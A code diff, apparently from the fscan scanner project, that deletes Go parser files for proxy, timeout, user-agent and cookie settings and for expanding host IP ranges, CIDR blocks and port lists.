delete(fr.cache, oldestFile)
}
fr.cache[filename] = result
}
// =============================================================================================
// 已删除的死代码未使用ClearCache 和 GetCacheStats 方法
// =============================================================================================

View File

@ -1,369 +0,0 @@
package parsers
import (
"fmt"
"net/url"
"strconv"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
// NetworkParser 网络配置解析器
type NetworkParser struct {
mu sync.RWMutex //nolint:unused // reserved for future thread safety
options *NetworkParserOptions
}
// NetworkParserOptions 网络解析器选项
type NetworkParserOptions struct {
ValidateProxies bool `json:"validate_proxies"`
AllowInsecure bool `json:"allow_insecure"`
DefaultTimeout time.Duration `json:"default_timeout"`
DefaultWebTimeout time.Duration `json:"default_web_timeout"`
DefaultUserAgent string `json:"default_user_agent"`
}
// DefaultNetworkParserOptions 默认网络解析器选项
func DefaultNetworkParserOptions() *NetworkParserOptions {
return &NetworkParserOptions{
ValidateProxies: DefaultValidateProxies,
AllowInsecure: DefaultAllowInsecure,
DefaultTimeout: DefaultNetworkTimeout,
DefaultWebTimeout: DefaultWebTimeout,
DefaultUserAgent: DefaultUserAgent,
}
}
// NewNetworkParser 创建网络配置解析器
func NewNetworkParser(options *NetworkParserOptions) *NetworkParser {
if options == nil {
options = DefaultNetworkParserOptions()
}
return &NetworkParser{
options: options,
}
}
// NetworkInput 网络配置输入参数
type NetworkInput struct {
// 代理配置
HttpProxy string `json:"http_proxy"`
Socks5Proxy string `json:"socks5_proxy"`
// 超时配置
Timeout int64 `json:"timeout"`
WebTimeout int64 `json:"web_timeout"`
// 网络选项
DisablePing bool `json:"disable_ping"`
DnsLog bool `json:"dns_log"`
UserAgent string `json:"user_agent"`
Cookie string `json:"cookie"`
}
// Parse 解析网络配置
func (np *NetworkParser) Parse(input *NetworkInput, options *ParserOptions) (*ParseResult, error) {
if input == nil {
return nil, NewParseError("INPUT_ERROR", "网络配置输入为空", "", 0, ErrEmptyInput)
}
startTime := time.Now()
result := &ParseResult{
Config: &ParsedConfig{
Network: &NetworkConfig{
EnableDNSLog: input.DnsLog,
DisablePing: input.DisablePing,
},
},
Success: true,
}
var errors []error
var warnings []string
// 解析HTTP代理
httpProxy, httpErrors, httpWarnings := np.parseHttpProxy(input.HttpProxy)
errors = append(errors, httpErrors...)
warnings = append(warnings, httpWarnings...)
// 解析Socks5代理
socks5Proxy, socks5Errors, socks5Warnings := np.parseSocks5Proxy(input.Socks5Proxy)
errors = append(errors, socks5Errors...)
warnings = append(warnings, socks5Warnings...)
// 解析超时配置
timeout, webTimeout, timeoutErrors, timeoutWarnings := np.parseTimeouts(input.Timeout, input.WebTimeout)
errors = append(errors, timeoutErrors...)
warnings = append(warnings, timeoutWarnings...)
// 解析用户代理
userAgent, uaErrors, uaWarnings := np.parseUserAgent(input.UserAgent)
errors = append(errors, uaErrors...)
warnings = append(warnings, uaWarnings...)
// 解析Cookie
cookie, cookieErrors, cookieWarnings := np.parseCookie(input.Cookie)
errors = append(errors, cookieErrors...)
warnings = append(warnings, cookieWarnings...)
// 检查代理冲突
if httpProxy != "" && socks5Proxy != "" {
warnings = append(warnings, "同时配置了HTTP代理和Socks5代理Socks5代理将被优先使用")
}
// 更新配置
result.Config.Network.HttpProxy = httpProxy
result.Config.Network.Socks5Proxy = socks5Proxy
result.Config.Network.Timeout = timeout
result.Config.Network.WebTimeout = webTimeout
result.Config.Network.UserAgent = userAgent
result.Config.Network.Cookie = cookie
// 设置结果状态
result.Errors = errors
result.Warnings = warnings
result.ParseTime = time.Since(startTime)
result.Success = len(errors) == 0
return result, nil
}
// parseHttpProxy 解析HTTP代理配置
func (np *NetworkParser) parseHttpProxy(proxyStr string) (string, []error, []string) {
var errors []error
var warnings []string
if proxyStr == "" {
return "", nil, nil
}
// 处理简写形式
normalizedProxy := np.normalizeHttpProxy(proxyStr)
// 验证代理URL
if np.options.ValidateProxies {
if err := np.validateProxyURL(normalizedProxy); err != nil {
errors = append(errors, NewParseError(ErrorTypeProxyError, err.Error(), "http_proxy", 0, err))
return "", errors, warnings
}
}
return normalizedProxy, errors, warnings
}
// parseSocks5Proxy 解析Socks5代理配置
func (np *NetworkParser) parseSocks5Proxy(proxyStr string) (string, []error, []string) {
var errors []error
var warnings []string
if proxyStr == "" {
return "", nil, nil
}
// 处理简写形式
normalizedProxy := np.normalizeSocks5Proxy(proxyStr)
// 验证代理URL
if np.options.ValidateProxies {
if err := np.validateProxyURL(normalizedProxy); err != nil {
errors = append(errors, NewParseError(ErrorTypeProxyError, err.Error(), "socks5_proxy", 0, err))
return "", errors, warnings
}
}
// 使用Socks5代理时建议禁用Ping
if normalizedProxy != "" {
warnings = append(warnings, "使用Socks5代理时建议禁用Ping检测")
}
return normalizedProxy, errors, warnings
}
// parseTimeouts 解析超时配置
func (np *NetworkParser) parseTimeouts(timeout, webTimeout int64) (time.Duration, time.Duration, []error, []string) {
var errors []error
var warnings []string
// 处理普通超时
finalTimeout := np.options.DefaultTimeout
if timeout > 0 {
if timeout > MaxTimeoutSeconds {
warnings = append(warnings, "超时时间过长建议不超过300秒")
}
finalTimeout = time.Duration(timeout) * time.Second
}
// 处理Web超时
finalWebTimeout := np.options.DefaultWebTimeout
if webTimeout > 0 {
if webTimeout > MaxWebTimeoutSeconds {
warnings = append(warnings, "Web超时时间过长建议不超过120秒")
}
finalWebTimeout = time.Duration(webTimeout) * time.Second
}
// 验证超时配置合理性
if finalWebTimeout > finalTimeout {
warnings = append(warnings, i18n.GetText("config_web_timeout_warning"))
}
return finalTimeout, finalWebTimeout, errors, warnings
}
// parseUserAgent 解析用户代理
func (np *NetworkParser) parseUserAgent(userAgent string) (string, []error, []string) {
var errors []error
var warnings []string
if userAgent == "" {
return np.options.DefaultUserAgent, errors, warnings
}
// 基本格式验证
if len(userAgent) > MaxUserAgentLength {
errors = append(errors, NewParseError(ErrorTypeUserAgentError, "用户代理字符串过长", "user_agent", 0, nil))
return "", errors, warnings
}
// 检查是否包含特殊字符
if strings.ContainsAny(userAgent, InvalidUserAgentChars) {
errors = append(errors, NewParseError(ErrorTypeUserAgentError, "用户代理包含非法字符", "user_agent", 0, nil))
return "", errors, warnings
}
// 检查是否为常见浏览器用户代理
if !np.isValidUserAgent(userAgent) {
warnings = append(warnings, "用户代理格式可能不被目标服务器识别")
}
return userAgent, errors, warnings
}
// parseCookie 解析Cookie
func (np *NetworkParser) parseCookie(cookie string) (string, []error, []string) {
var errors []error
var warnings []string
if cookie == "" {
return "", errors, warnings
}
// 基本格式验证
if len(cookie) > MaxCookieLength { // HTTP Cookie长度限制
errors = append(errors, NewParseError(ErrorTypeCookieError, "Cookie字符串过长", "cookie", 0, nil))
return "", errors, warnings
}
// 检查Cookie格式
if !np.isValidCookie(cookie) {
warnings = append(warnings, "Cookie格式可能不正确")
}
return cookie, errors, warnings
}
// normalizeHttpProxy 规范化HTTP代理URL
func (np *NetworkParser) normalizeHttpProxy(proxy string) string {
switch strings.ToLower(proxy) {
case ProxyShortcut1:
return ProxyShortcutHTTP
case ProxyShortcut2:
return ProxyShortcutSOCKS5
default:
// 如果没有协议前缀默认使用HTTP
if !strings.Contains(proxy, ProtocolPrefix) {
if strings.Contains(proxy, ":") {
return HTTPPrefix + proxy
} else {
return HTTPPrefix + "127.0.0.1:" + proxy
}
}
return proxy
}
}
// normalizeSocks5Proxy 规范化Socks5代理URL
func (np *NetworkParser) normalizeSocks5Proxy(proxy string) string {
// 如果没有协议前缀添加SOCKS5协议
if !strings.HasPrefix(proxy, SOCKS5Prefix) {
if strings.Contains(proxy, ":") {
return SOCKS5Prefix + proxy
} else {
return SOCKS5Prefix + "127.0.0.1:" + proxy
}
}
return proxy
}
// validateProxyURL 验证代理URL格式
func (np *NetworkParser) validateProxyURL(proxyURL string) error {
if proxyURL == "" {
return nil
}
parsedURL, err := url.Parse(proxyURL)
if err != nil {
return fmt.Errorf("代理URL格式无效: %v", err)
}
// 检查协议
switch parsedURL.Scheme {
case ProtocolHTTP, ProtocolHTTPS, ProtocolSOCKS5:
// 支持的协议
default:
return fmt.Errorf("不支持的代理协议: %s", parsedURL.Scheme)
}
// 检查主机名
if parsedURL.Hostname() == "" {
return fmt.Errorf("代理主机名为空")
}
// 检查端口
portStr := parsedURL.Port()
if portStr != "" {
port, err := strconv.Atoi(portStr)
if err != nil {
return fmt.Errorf("代理端口号无效: %s", portStr)
}
if port < 1 || port > 65535 {
return fmt.Errorf("代理端口号超出范围: %d", port)
}
}
// 安全检查
if !np.options.AllowInsecure && parsedURL.Scheme == ProtocolHTTP {
return fmt.Errorf("不允许使用不安全的HTTP代理")
}
return nil
}
// isValidUserAgent 检查用户代理是否有效
func (np *NetworkParser) isValidUserAgent(userAgent string) bool {
// 检查是否包含常见的浏览器标识
commonBrowsers := GetCommonBrowsers()
userAgentLower := strings.ToLower(userAgent)
for _, browser := range commonBrowsers {
if strings.Contains(userAgentLower, strings.ToLower(browser)) {
return true
}
}
return false
}
// isValidCookie 检查Cookie格式是否有效
func (np *NetworkParser) isValidCookie(cookie string) bool {
// 基本Cookie格式检查 (name=value; name2=value2)
return CompiledCookieRegex.MatchString(strings.TrimSpace(cookie))
}
// =============================================================================================
// 已删除的死代码未使用Validate 和 GetStatistics 方法
// =============================================================================================

View File

@ -1,366 +0,0 @@
package parsers
import (
"bufio"
"fmt"
"net"
"os"
"sort"
"strconv"
"strings"
)
/*
Simple.go - 简化版本的解析器函数
这个文件提供了简化但功能完整的解析函数用于替代复杂的解析器架构
保持与现有代码的接口兼容性但大幅简化实现逻辑
*/
// =============================================================================
// 简化的IP/主机解析函数
// =============================================================================
// ParseIP 解析各种格式的IP地址
// 支持单个IP、IP范围、CIDR和文件输入
func ParseIP(host string, filename string, nohosts ...string) ([]string, error) {
var hosts []string
// 如果提供了文件名,从文件读取主机列表
if filename != "" {
fileHosts, fileErr := readHostsFromFile(filename)
if fileErr != nil {
return nil, fmt.Errorf("读取主机文件失败: %v", fileErr)
}
hosts = append(hosts, fileHosts...)
}
// 解析主机参数
if host != "" {
hostList, hostErr := parseHostString(host)
if hostErr != nil {
return nil, fmt.Errorf("解析主机失败: %v", hostErr)
}
hosts = append(hosts, hostList...)
}
// 处理排除主机
if len(nohosts) > 0 && nohosts[0] != "" {
excludeList, excludeErr := parseHostString(nohosts[0])
if excludeErr != nil {
return nil, fmt.Errorf("解析排除主机失败: %v", excludeErr)
}
hosts = excludeHosts(hosts, excludeList)
}
// 去重和排序
hosts = removeDuplicates(hosts)
sort.Strings(hosts)
if len(hosts) == 0 {
return nil, fmt.Errorf("没有找到有效的主机")
}
return hosts, nil
}
// =============================================================================
// 简化的端口解析函数
// =============================================================================
// ParsePort 解析端口配置字符串为端口号列表
// 保持与 ParsePort 的接口兼容性
func ParsePort(ports string) []int {
if ports == "" {
return nil
}
var result []int
// 处理预定义端口组
ports = expandPortGroups(ports)
// 按逗号分割
for _, portStr := range strings.Split(ports, ",") {
portStr = strings.TrimSpace(portStr)
if portStr == "" {
continue
}
// 处理端口范围 (如 1-100)
if strings.Contains(portStr, "-") {
rangePorts := parsePortRange(portStr)
result = append(result, rangePorts...)
} else {
// 单个端口
if port, err := strconv.Atoi(portStr); err == nil {
if port >= MinPort && port <= MaxPort {
result = append(result, port)
}
}
}
}
// 去重和排序
result = removeDuplicatePorts(result)
sort.Ints(result)
return result
}
// 已移除未使用的 ParsePortsFromString 方法
// =============================================================================
// 辅助函数
// =============================================================================
// readHostsFromFile 从文件读取主机列表
func readHostsFromFile(filename string) ([]string, error) {
file, err := os.Open(filename)
if err != nil {
return nil, err
}
defer file.Close()
var hosts []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line != "" && !strings.HasPrefix(line, CommentPrefix) {
hosts = append(hosts, line)
}
}
return hosts, scanner.Err()
}
// parseHostString 解析主机字符串
func parseHostString(host string) ([]string, error) {
var hosts []string
// 按逗号分割多个主机
for _, h := range strings.Split(host, ",") {
h = strings.TrimSpace(h)
if h == "" {
continue
}
// 检查是否为CIDR格式
if strings.Contains(h, "/") {
cidrHosts, err := parseCIDR(h)
if err != nil {
return nil, fmt.Errorf("解析CIDR %s 失败: %v", h, err)
}
hosts = append(hosts, cidrHosts...)
} else if strings.Contains(h, "-") && !strings.Contains(h, ":") {
// IP范围格式 (如 192.168.1.1-10)
rangeHosts, err := parseIPRange(h)
if err != nil {
return nil, fmt.Errorf("解析IP范围 %s 失败: %v", h, err)
}
hosts = append(hosts, rangeHosts...)
} else {
// 单个主机
hosts = append(hosts, h)
}
}
return hosts, nil
}
// parseCIDR 解析CIDR格式的网段
func parseCIDR(cidr string) ([]string, error) {
_, ipNet, err := net.ParseCIDR(cidr)
if err != nil {
return nil, err
}
var hosts []string
for ip := ipNet.IP.Mask(ipNet.Mask); ipNet.Contains(ip); nextIP(ip) {
hosts = append(hosts, ip.String())
// 限制最大主机数量,防止内存溢出
if len(hosts) > SimpleMaxHosts {
break
}
}
// 移除网络地址和广播地址
if len(hosts) > 2 {
hosts = hosts[1 : len(hosts)-1]
}
return hosts, nil
}
// parseIPRange 解析IP范围
func parseIPRange(rangeStr string) ([]string, error) {
parts := strings.Split(rangeStr, "-")
if len(parts) != 2 {
return nil, fmt.Errorf("无效的IP范围格式: %s", rangeStr)
}
startIP := strings.TrimSpace(parts[0])
endPart := strings.TrimSpace(parts[1])
// 检查是否为短格式 (如 192.168.1.1-10)
if !strings.Contains(endPart, ".") {
return parseShortIPRange(startIP, endPart)
}
// 完整IP范围
return parseFullIPRange(startIP, endPart)
}
// parseShortIPRange 解析短格式IP范围
func parseShortIPRange(startIPStr, endSuffix string) ([]string, error) {
startIP := net.ParseIP(startIPStr)
if startIP == nil {
return nil, fmt.Errorf("无效的起始IP: %s", startIPStr)
}
endNum, err := strconv.Atoi(endSuffix)
if err != nil {
return nil, fmt.Errorf("无效的结束数字: %s", endSuffix)
}
var hosts []string
startIPParts := strings.Split(startIPStr, ".")
if len(startIPParts) != IPv4OctetCount {
return nil, fmt.Errorf("无效的IP格式: %s", startIPStr)
}
baseIP := strings.Join(startIPParts[:3], ".")
startNum, _ := strconv.Atoi(startIPParts[3])
for i := startNum; i <= endNum && i <= RouterSwitchLastOctet; i++ {
hosts = append(hosts, fmt.Sprintf("%s.%d", baseIP, i))
}
return hosts, nil
}
// parseFullIPRange 解析完整IP范围
func parseFullIPRange(startIPStr, endIPStr string) ([]string, error) {
startIP := net.ParseIP(startIPStr)
endIP := net.ParseIP(endIPStr)
if startIP == nil || endIP == nil {
return nil, fmt.Errorf("无效的IP地址")
}
var hosts []string
for ip := make(net.IP, len(startIP)); ; nextIP(ip) {
copy(ip, startIP)
hosts = append(hosts, ip.String())
if ip.Equal(endIP) {
break
}
// 限制最大主机数量
if len(hosts) > SimpleMaxHosts {
break
}
nextIP(startIP)
}
return hosts, nil
}
// parsePortRange 解析端口范围
func parsePortRange(rangeStr string) []int {
parts := strings.Split(rangeStr, "-")
if len(parts) != 2 {
return nil
}
start, err1 := strconv.Atoi(strings.TrimSpace(parts[0]))
end, err2 := strconv.Atoi(strings.TrimSpace(parts[1]))
if err1 != nil || err2 != nil || start < MinPort || end > MaxPort || start > end {
return nil
}
var ports []int
for i := start; i <= end; i++ {
ports = append(ports, i)
}
return ports
}
// expandPortGroups 展开端口组
func expandPortGroups(ports string) string {
// 使用预定义的端口组
portGroups := GetPortGroups()
result := ports
for group, portList := range portGroups {
result = strings.ReplaceAll(result, group, portList)
}
return result
}
// excludeHosts 排除指定的主机
func excludeHosts(hosts, excludeList []string) []string {
if len(excludeList) == 0 {
return hosts
}
excludeMap := make(map[string]struct{})
for _, exclude := range excludeList {
excludeMap[exclude] = struct{}{}
}
var result []string
for _, host := range hosts {
if _, found := excludeMap[host]; !found {
result = append(result, host)
}
}
return result
}
// removeDuplicates 去除字符串重复项
func removeDuplicates(slice []string) []string {
keys := make(map[string]struct{})
var result []string
for _, item := range slice {
if _, found := keys[item]; !found {
keys[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// removeDuplicatePorts 去除端口重复项
func removeDuplicatePorts(slice []int) []int {
keys := make(map[int]struct{})
var result []int
for _, item := range slice {
if _, found := keys[item]; !found {
keys[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// nextIP 计算下一个IP地址
func nextIP(ip net.IP) {
for j := len(ip) - 1; j >= 0; j-- {
ip[j]++
if ip[j] > 0 {
break
}
}
}

View File

@ -1,920 +0,0 @@
package parsers
import (
"fmt"
"net"
"net/url"
"regexp"
"strconv"
"strings"
"sync"
"time"
)
// TargetParser 目标解析器
type TargetParser struct {
fileReader *FileReader
mu sync.RWMutex //nolint:unused // reserved for future thread safety
ipRegex *regexp.Regexp
portRegex *regexp.Regexp
urlRegex *regexp.Regexp
options *TargetParserOptions
}
// TargetParserOptions 目标解析器选项
type TargetParserOptions struct {
MaxTargets int `json:"max_targets"`
MaxPortRange int `json:"max_port_range"`
AllowPrivateIPs bool `json:"allow_private_ips"`
AllowLoopback bool `json:"allow_loopback"`
ValidateURLs bool `json:"validate_urls"`
ResolveDomains bool `json:"resolve_domains"`
EnableStatistics bool `json:"enable_statistics"`
}
// DefaultTargetParserOptions 默认目标解析器选项
func DefaultTargetParserOptions() *TargetParserOptions {
return &TargetParserOptions{
MaxTargets: DefaultTargetMaxTargets,
MaxPortRange: DefaultMaxPortRange,
AllowPrivateIPs: DefaultAllowPrivateIPs,
AllowLoopback: DefaultAllowLoopback,
ValidateURLs: DefaultValidateURLs,
ResolveDomains: DefaultResolveDomains,
EnableStatistics: DefaultTargetEnableStatistics,
}
}
// NewTargetParser 创建目标解析器
func NewTargetParser(fileReader *FileReader, options *TargetParserOptions) *TargetParser {
if options == nil {
options = DefaultTargetParserOptions()
}
// 使用预编译的正则表达式
ipRegex := CompiledIPv4Regex
portRegex := CompiledPortRegex
urlRegex := CompiledURLRegex
return &TargetParser{
fileReader: fileReader,
ipRegex: ipRegex,
portRegex: portRegex,
urlRegex: urlRegex,
options: options,
}
}
// TargetInput 目标输入参数
type TargetInput struct {
// 主机相关
Host string `json:"host"`
HostsFile string `json:"hosts_file"`
ExcludeHosts string `json:"exclude_hosts"`
// 端口相关
Ports string `json:"ports"`
PortsFile string `json:"ports_file"`
AddPorts string `json:"add_ports"`
ExcludePorts string `json:"exclude_ports"`
// URL相关
TargetURL string `json:"target_url"`
URLsFile string `json:"urls_file"`
// 主机端口组合
HostPort []string `json:"host_port"`
// 模式标识
LocalMode bool `json:"local_mode"`
}
// Parse 解析目标配置
func (tp *TargetParser) Parse(input *TargetInput, options *ParserOptions) (*ParseResult, error) {
if input == nil {
return nil, NewParseError(ErrorTypeInputError, "目标输入为空", "", 0, ErrEmptyInput)
}
startTime := time.Now()
result := &ParseResult{
Config: &ParsedConfig{
Targets: &TargetConfig{
LocalMode: input.LocalMode,
},
},
Success: true,
}
var errors []error
var warnings []string
// 解析主机
hosts, hostErrors, hostWarnings := tp.parseHosts(input)
errors = append(errors, hostErrors...)
warnings = append(warnings, hostWarnings...)
// 解析URL
urls, urlErrors, urlWarnings := tp.parseURLs(input)
errors = append(errors, urlErrors...)
warnings = append(warnings, urlWarnings...)
// 解析端口
ports, portErrors, portWarnings := tp.parsePorts(input)
errors = append(errors, portErrors...)
warnings = append(warnings, portWarnings...)
// 解析排除端口
excludePorts, excludeErrors, excludeWarnings := tp.parseExcludePorts(input)
errors = append(errors, excludeErrors...)
warnings = append(warnings, excludeWarnings...)
// 解析主机端口组合
hostPorts, hpErrors, hpWarnings := tp.parseHostPorts(input)
errors = append(errors, hpErrors...)
warnings = append(warnings, hpWarnings...)
// 更新配置
result.Config.Targets.Hosts = hosts
result.Config.Targets.URLs = urls
result.Config.Targets.Ports = ports
result.Config.Targets.ExcludePorts = excludePorts
result.Config.Targets.HostPorts = hostPorts
// 生成统计信息
if tp.options.EnableStatistics {
result.Config.Targets.Statistics = tp.generateStatistics(hosts, urls, ports, excludePorts)
}
// 设置结果状态
result.Errors = errors
result.Warnings = warnings
result.ParseTime = time.Since(startTime)
result.Success = len(errors) == 0
return result, nil
}
// parseHosts 解析主机
func (tp *TargetParser) parseHosts(input *TargetInput) ([]string, []error, []string) {
var hosts []string
var errors []error
var warnings []string
// 解析命令行主机
if input.Host != "" {
hostList, err := tp.parseHostList(input.Host)
if err != nil {
errors = append(errors, NewParseError(ErrorTypeHostError, err.Error(), "command line", 0, err))
} else {
hosts = append(hosts, hostList...)
}
}
// 从文件读取主机
if input.HostsFile != "" {
fileResult, err := tp.fileReader.ReadFile(input.HostsFile)
if err != nil {
errors = append(errors, NewParseError(ErrorTypeFileError, "读取主机文件失败", input.HostsFile, 0, err))
} else {
for i, line := range fileResult.Lines {
hostList, err := tp.parseHostList(line)
if err != nil {
warnings = append(warnings, fmt.Sprintf("主机文件第%d行解析失败: %s", i+1, err.Error()))
} else {
hosts = append(hosts, hostList...)
}
}
}
}
// 处理排除主机
if input.ExcludeHosts != "" {
excludeList, err := tp.parseHostList(input.ExcludeHosts)
if err != nil {
warnings = append(warnings, fmt.Sprintf("排除主机解析失败: %s", err.Error()))
} else {
hosts = tp.excludeHosts(hosts, excludeList)
}
}
// 去重和验证同时分离host:port格式
hosts = tp.removeDuplicateStrings(hosts)
validHosts := make([]string, 0, len(hosts))
hostPorts := make([]string, 0)
for _, host := range hosts {
// 检查是否为host:port格式
if strings.Contains(host, ":") {
if h, portStr, err := net.SplitHostPort(host); err == nil {
// 验证端口号
if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort {
// 验证主机部分
if valid, hostErr := tp.validateHost(h); valid {
// 这是有效的host:port组合添加到hostPorts
hostPorts = append(hostPorts, host)
continue
} else if hostErr != nil {
warnings = append(warnings, fmt.Sprintf("无效主机端口组合: %s - %s", host, hostErr.Error()))
continue
}
}
}
}
// 作为普通主机验证
if valid, err := tp.validateHost(host); valid {
validHosts = append(validHosts, host)
} else if err != nil {
warnings = append(warnings, fmt.Sprintf("无效主机: %s - %s", host, err.Error()))
}
}
// 将找到的hostPorts合并到输入结果中通过修改input结构
if len(hostPorts) > 0 {
input.HostPort = append(input.HostPort, hostPorts...)
}
// 检查目标数量限制
if len(validHosts) > tp.options.MaxTargets {
warnings = append(warnings, fmt.Sprintf("主机数量超过限制,截取前%d个", tp.options.MaxTargets))
validHosts = validHosts[:tp.options.MaxTargets]
}
return validHosts, errors, warnings
}
// parseURLs 解析URL
func (tp *TargetParser) parseURLs(input *TargetInput) ([]string, []error, []string) {
var urls []string
var errors []error
var warnings []string
// 解析命令行URL
if input.TargetURL != "" {
urlList := strings.Split(input.TargetURL, ",")
for _, rawURL := range urlList {
rawURL = strings.TrimSpace(rawURL)
if rawURL != "" {
if valid, err := tp.validateURL(rawURL); valid {
urls = append(urls, rawURL)
} else {
warnings = append(warnings, fmt.Sprintf("无效URL: %s - %s", rawURL, err.Error()))
}
}
}
}
// 从文件读取URL
if input.URLsFile != "" {
fileResult, err := tp.fileReader.ReadFile(input.URLsFile)
if err != nil {
errors = append(errors, NewParseError(ErrorTypeFileError, "读取URL文件失败", input.URLsFile, 0, err))
} else {
for i, line := range fileResult.Lines {
if valid, err := tp.validateURL(line); valid {
urls = append(urls, line)
} else {
warnings = append(warnings, fmt.Sprintf("URL文件第%d行无效: %s", i+1, err.Error()))
}
}
}
}
// 去重
urls = tp.removeDuplicateStrings(urls)
return urls, errors, warnings
}
// parsePorts 解析端口
func (tp *TargetParser) parsePorts(input *TargetInput) ([]int, []error, []string) {
var ports []int
var errors []error
var warnings []string
// 解析命令行端口
if input.Ports != "" {
portList, err := tp.parsePortList(input.Ports)
if err != nil {
errors = append(errors, NewParseError(ErrorTypePortError, err.Error(), "command line", 0, err))
} else {
ports = append(ports, portList...)
}
}
// 从文件读取端口
if input.PortsFile != "" {
fileResult, err := tp.fileReader.ReadFile(input.PortsFile)
if err != nil {
errors = append(errors, NewParseError(ErrorTypeFileError, "读取端口文件失败", input.PortsFile, 0, err))
} else {
for i, line := range fileResult.Lines {
portList, err := tp.parsePortList(line)
if err != nil {
warnings = append(warnings, fmt.Sprintf("端口文件第%d行解析失败: %s", i+1, err.Error()))
} else {
ports = append(ports, portList...)
}
}
}
}
// 处理额外端口
if input.AddPorts != "" {
addPortList, err := tp.parsePortList(input.AddPorts)
if err != nil {
warnings = append(warnings, fmt.Sprintf("额外端口解析失败: %s", err.Error()))
} else {
ports = append(ports, addPortList...)
}
}
// 去重和排序
ports = tp.removeDuplicatePorts(ports)
return ports, errors, warnings
}
// parseExcludePorts 解析排除端口
func (tp *TargetParser) parseExcludePorts(input *TargetInput) ([]int, []error, []string) {
var excludePorts []int
var errors []error
var warnings []string
if input.ExcludePorts != "" {
portList, err := tp.parsePortList(input.ExcludePorts)
if err != nil {
errors = append(errors, NewParseError(ErrorTypeExcludePortError, err.Error(), "command line", 0, err))
} else {
excludePorts = portList
}
}
return excludePorts, errors, warnings
}
// parseHostPorts 解析主机端口组合
func (tp *TargetParser) parseHostPorts(input *TargetInput) ([]string, []error, []string) {
var hostPorts []string
var errors []error
var warnings []string
for _, hp := range input.HostPort {
if hp != "" {
if valid, err := tp.validateHostPort(hp); valid {
hostPorts = append(hostPorts, hp)
} else {
warnings = append(warnings, fmt.Sprintf("无效主机端口组合: %s - %s", hp, err.Error()))
}
}
}
return hostPorts, errors, warnings
}
// parseHostList 解析主机列表
func (tp *TargetParser) parseHostList(hostStr string) ([]string, error) {
if hostStr == "" {
return nil, nil
}
var hosts []string
hostItems := strings.Split(hostStr, ",")
for _, item := range hostItems {
item = strings.TrimSpace(item)
if item == "" {
continue
}
// 检查各种IP格式
switch {
case item == PrivateNetwork192:
// 常用内网段简写
cidrHosts, err := tp.parseCIDR(PrivateNetwork192CIDR)
if err != nil {
return nil, fmt.Errorf("192网段解析失败: %v", err)
}
hosts = append(hosts, cidrHosts...)
case item == PrivateNetwork172:
// 常用内网段简写
cidrHosts, err := tp.parseCIDR(PrivateNetwork172CIDR)
if err != nil {
return nil, fmt.Errorf("172网段解析失败: %v", err)
}
hosts = append(hosts, cidrHosts...)
case item == PrivateNetwork10:
// 常用内网段简写
cidrHosts, err := tp.parseCIDR(PrivateNetwork10CIDR)
if err != nil {
return nil, fmt.Errorf("10网段解析失败: %v", err)
}
hosts = append(hosts, cidrHosts...)
case strings.HasSuffix(item, "/8"):
// 处理/8网段使用采样方式
sampledHosts := tp.parseSubnet8(item)
hosts = append(hosts, sampledHosts...)
case strings.Contains(item, "/"):
// CIDR表示法
cidrHosts, err := tp.parseCIDR(item)
if err != nil {
return nil, fmt.Errorf("CIDR解析失败 %s: %v", item, err)
}
hosts = append(hosts, cidrHosts...)
case strings.Contains(item, "-"):
// IP范围表示法
rangeHosts, err := tp.parseIPRange(item)
if err != nil {
return nil, fmt.Errorf("IP范围解析失败 %s: %v", item, err)
}
hosts = append(hosts, rangeHosts...)
default:
// 检查是否为host:port格式
if strings.Contains(item, ":") {
if _, portStr, err := net.SplitHostPort(item); err == nil {
// 验证端口号
if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort {
// 这是有效的host:port格式但在这里仍然作为主机处理
// 在后续的processHostPorts函数中会被正确处理
hosts = append(hosts, item)
} else {
// 端口无效,作为普通主机处理
hosts = append(hosts, item)
}
} else {
// 不是有效的host:port格式作为普通主机处理
hosts = append(hosts, item)
}
} else {
// 单个IP或域名
hosts = append(hosts, item)
}
}
}
return hosts, nil
}
// parsePortList 解析端口列表,支持预定义端口组
func (tp *TargetParser) parsePortList(portStr string) ([]int, error) {
if portStr == "" {
return nil, nil
}
// 检查是否为预定义端口组
portStr = tp.expandPortGroups(portStr)
var ports []int
portItems := strings.Split(portStr, ",")
for _, item := range portItems {
item = strings.TrimSpace(item)
if item == "" {
continue
}
if strings.Contains(item, "-") {
// 端口范围
rangePorts, err := tp.parsePortRange(item)
if err != nil {
return nil, fmt.Errorf("端口范围解析失败 %s: %v", item, err)
}
// 检查范围大小
if len(rangePorts) > tp.options.MaxPortRange {
return nil, fmt.Errorf("端口范围过大: %d, 最大允许: %d", len(rangePorts), tp.options.MaxPortRange)
}
ports = append(ports, rangePorts...)
} else {
// 单个端口
port, err := strconv.Atoi(item)
if err != nil {
return nil, fmt.Errorf("无效端口号: %s", item)
}
if port < MinPort || port > MaxPort {
return nil, fmt.Errorf("端口号超出范围: %d", port)
}
ports = append(ports, port)
}
}
return ports, nil
}
// expandPortGroups 展开预定义端口组
func (tp *TargetParser) expandPortGroups(portStr string) string {
// 使用预定义的端口组
portGroups := GetTargetPortGroups()
if expandedPorts, exists := portGroups[portStr]; exists {
return expandedPorts
}
return portStr
}
// parseCIDR 解析CIDR网段
func (tp *TargetParser) parseCIDR(cidr string) ([]string, error) {
_, ipNet, err := net.ParseCIDR(cidr)
if err != nil {
return nil, err
}
var ips []string
ip := make(net.IP, len(ipNet.IP))
copy(ip, ipNet.IP)
count := 0
for ipNet.Contains(ip) {
ips = append(ips, ip.String())
count++
// 防止生成过多IP
if count >= tp.options.MaxTargets {
break
}
tp.nextIP(ip)
}
return ips, nil
}
// parseIPRange 解析IP范围支持简写格式
func (tp *TargetParser) parseIPRange(rangeStr string) ([]string, error) {
parts := strings.Split(rangeStr, "-")
if len(parts) != 2 {
return nil, fmt.Errorf("无效的IP范围格式")
}
startIPStr := strings.TrimSpace(parts[0])
endIPStr := strings.TrimSpace(parts[1])
// 验证起始IP
startIP := net.ParseIP(startIPStr)
if startIP == nil {
return nil, fmt.Errorf("无效的起始IP地址: %s", startIPStr)
}
// 处理简写格式 (如: 192.168.1.1-100)
if len(endIPStr) < 4 || !strings.Contains(endIPStr, ".") {
return tp.parseShortIPRange(startIPStr, endIPStr)
}
